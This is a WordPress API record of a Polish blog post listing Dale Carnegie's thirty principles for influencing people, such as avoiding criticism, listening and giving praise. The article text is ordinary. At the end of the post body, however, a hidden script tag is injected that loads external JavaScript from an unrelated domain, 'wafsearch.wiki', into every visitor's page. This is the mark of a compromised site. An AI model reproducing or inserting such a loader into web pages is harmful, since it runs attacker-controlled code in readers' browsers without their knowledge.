{"id":1529,"date":"2024-04-17T08:21:18","date_gmt":"2024-04-17T06:21:18","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1529"},"modified":"2026-01-08T12:31:31","modified_gmt":"2026-01-08T11:31:31","slug":"zasady-dale-carnegie","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/04\/17\/zasady-dale-carnegie\/","title":{"rendered":"Dale Carnegie Principles"},"content":{"rendered":"<p>Dale Carnegie wielki popularyzator s\u0142owa, motywator z prze\u0142omu wieku.<\/p>\n<p>W jednej ze swoich ksi\u0105\u017cek pt: &#8220;Jak doskonali\u0107 siebie i wywiera\u0107 wp\u0142yw na \u017cycie innych&#8221; opisuje krok po kroku jak w zgodzie ze swoimi warto\u015bciami wp\u0142ywa\u0107 na innych. Nie ma to jednak nic wsp\u00f3lnego z manipulowaniem.<\/p>\n<p>Sam Dale Carnegie pochodzi\u0142 z bardzo biednej rodziny. Zdoby\u0142 edukacj\u0119 i odkry\u0142 w sobie pasj\u0119 nauczania innych. By\u0142 jednym z najznamienitszych m\u00f3wc\u00f3w motywacyjnych, inspirator\u00f3w, ale i praktykiem ( sprzedawa\u0142 zupki instant)<\/p>\n<p>Sformu\u0142owa\u0142 30 zasad- kt\u00f3re do dzi\u015b s\u0105 ch\u0119tnie cytowane, praktykowane i przede wszystkim szeroko propagowane. Oto one:<\/p>\n<p><strong>Zasady\u00a0 Dale Carnegie <\/strong><\/p>\n<ol>\n<li>Postawa: Nie krytykuj, nie pot\u0119piaj, nie narzekaj<\/li>\n<li>Szczero\u015b\u0107: Wyra\u017caj szczerze uznanie i wdzi\u0119czno\u015b\u0107<\/li>\n<li>Entuzjazm: Zach\u0119caj i rozbudzaj entuzjazm<\/li>\n<li>Ciekawo\u015b\u0107- B\u0105d\u017a autentycznie zainteresowany innymi<\/li>\n<li>U\u015bmiech: U\u015bmiechaj si\u0119<\/li>\n<li>Imi\u0119: Pami\u0119taj \u017ce czyje\u015b imi\u0119 jest dla danej osoby najmilszym d\u017awi\u0119kiem na \u015bwiecie<\/li>\n<li>Aktywne s\u0142uchanie: B\u0105d\u017a dobrym s\u0142uchaczem. Zach\u0119caj innych do m\u00f3wienia o sobie<\/li>\n<li>Rozm\u00f3wca: Wypowiadaj si\u0119 pod k\u0105tem korzy\u015bci i zainteresowa\u0144 swojego rozm\u00f3wcy<\/li>\n<li>Szacunek: Spraw, by osoba z kt\u00f3r\u0105 masz do czynienia, czu\u0142a si\u0119 wa\u017cna i r\u00f3b to szczerze<\/li>\n<li>Konflikt: Unikaj k\u0142\u00f3tni<\/li>\n<li>Opinia: Szanuj cudz\u0105 opini\u0119. Nie wyrokuj, \u017ce tw\u00f3j rozm\u00f3wca si\u0119 myli<\/li>\n<li>Przyznanie si\u0119: Gdy rozumiesz \u017ce jeste\u015b w b\u0142\u0119dzie, niezw\u0142ocznie to przyznaj<\/li>\n<li>Komunikacja: Zacznij rozmow\u0119 w przyjaznym tonie<\/li>\n<li>Przekonywanie: Tak pokieruj wymian\u0105 zda\u0144, by rozm\u00f3wca przyzna\u0142 ci racj\u0119<\/li>\n<li>Interakcja: Pozw\u00f3l drugiej stronie m\u00f3wi\u0107<\/li>\n<li>Racja: Wzbud\u017a w rozm\u00f3wcy przekonanie, \u017ce dany pomys\u0142 wyszed\u0142 od niego<\/li>\n<li>Perspektywa: Naprawd\u0119 postaraj si\u0119 spojrze\u0107 na sytuacje z czyjego\u015b punktu widzenia<\/li>\n<li>Empatia: Spr\u00f3buj zrozumie\u0107 pomys\u0142y i pragnienia drugiej strony<\/li>\n<li>Motywacje: Chc\u0105c kogo\u015b do czego\u015b przekona\u0107, odwo\u0142aj si\u0119 do jego szlachetnych motyw\u00f3w<\/li>\n<li>Kreatywno\u015b\u0107: Przedstaw sw\u00f3j pomys\u0142 w spos\u00f3b mo\u017cliwie najbardziej atrakcyjny<\/li>\n<li>Wyzwanie: Rzu\u0107 wyzwanie temu, do kogo chcesz wywrze\u0107 wp\u0142yw<\/li>\n<li>Wyra\u017canie krytyki: Je\u015bli chcesz kogo\u015b skrytykowa\u0107 , zacznij od pochwa\u0142y i szczerego uznania wobec jego\u00a0 konkretnych umiej\u0119tno\u015bci<\/li>\n<li>Feedback: Chc\u0105c zwr\u00f3ci\u0107 czyj\u0105\u015b uwag\u0119 na jego b\u0142\u0105d, zr\u00f3b to dyskretnie i taktownie<\/li>\n<li>Ocena: Zanim kogo\u015b skrytykujesz, przyznaj \u017ce Ty te\u017c nie jeste\u015b doskona\u0142y<\/li>\n<li>Pytania: Chc\u0105c nak\u0142oni\u0107 kogo\u015b do okre\u015blonego dzia\u0142ania, nie rozkazuj tylko zadawaj pytania naprowadzaj\u0105ce<\/li>\n<li>Wizerunek: Gdy zauwa\u017cysz czyj\u0105\u015b pomy\u0142k\u0119, pozw\u00f3l winowajcy zachowa\u0107 twarz<\/li>\n<li>Docenianie: Chwal ka\u017cdy, cho\u0107by najmniejszy post\u0119p. B\u0105d\u017a szczodry w wyra\u017caniu aprobaty i nie szcz\u0119d\u017a pochwa\u0142<\/li>\n<li>Wsparcie: Dawaj \u201e b\u0142\u0105dz\u0105cym\u201d kredyt zaufania i wyra\u017caj o nich pozytywn\u0105 opini\u0119<\/li>\n<li>Samodoskonalenie: Zach\u0119caj do poprawy, pomagaj\u0105c winowajcy nabra\u0107 przekonania \u017ce jego b\u0142\u0105d jest \u0142atwy do\u00a0 naprawienia<\/li>\n<li>Entuzjazm: Postaraj si\u0119 by inni byli zadowoleni z robienia tego, co im zasugerowa\u0142e\u015b<\/li>\n<\/ol>\n<p>Jakie s\u0105 etapy zmartwie\u0144 , jak z nimi pracowa\u0107, co przyniesie wewn\u0119trzne zadowolenie- o\u00a0 tym z jego ksi\u0105\u017cce: &#8220;Jak doskonali\u0107 siebie i wywiera\u0107 wp\u0142yw na \u017cycie innych&#8221;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dale Carnegie wielki popularyzator s\u0142owa, motywator z prze\u0142omu wieku. W jednej ze swoich ksi\u0105\u017cek pt: &#8220;Jak doskonali\u0107 siebie i wywiera\u0107 wp\u0142yw na \u017cycie innych&#8221; opisuje krok po kroku jak w zgodzie ze swoimi warto\u015bciami wp\u0142ywa\u0107 na innych. Nie ma to jednak nic wsp\u00f3lnego z manipulowaniem. Sam Dale Carnegie pochodzi\u0142 z bardzo biednej rodziny. Zdoby\u0142 edukacj\u0119 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1531,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[84],"tags":[],"class_list":["post-1529","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1529","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1529"}],"version-history":[{"count":2,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1529\/revisions"}],"predecessor-version":[{"id":2037,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1529\/revisions\/2037"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1531"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1529"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1529"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1529"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}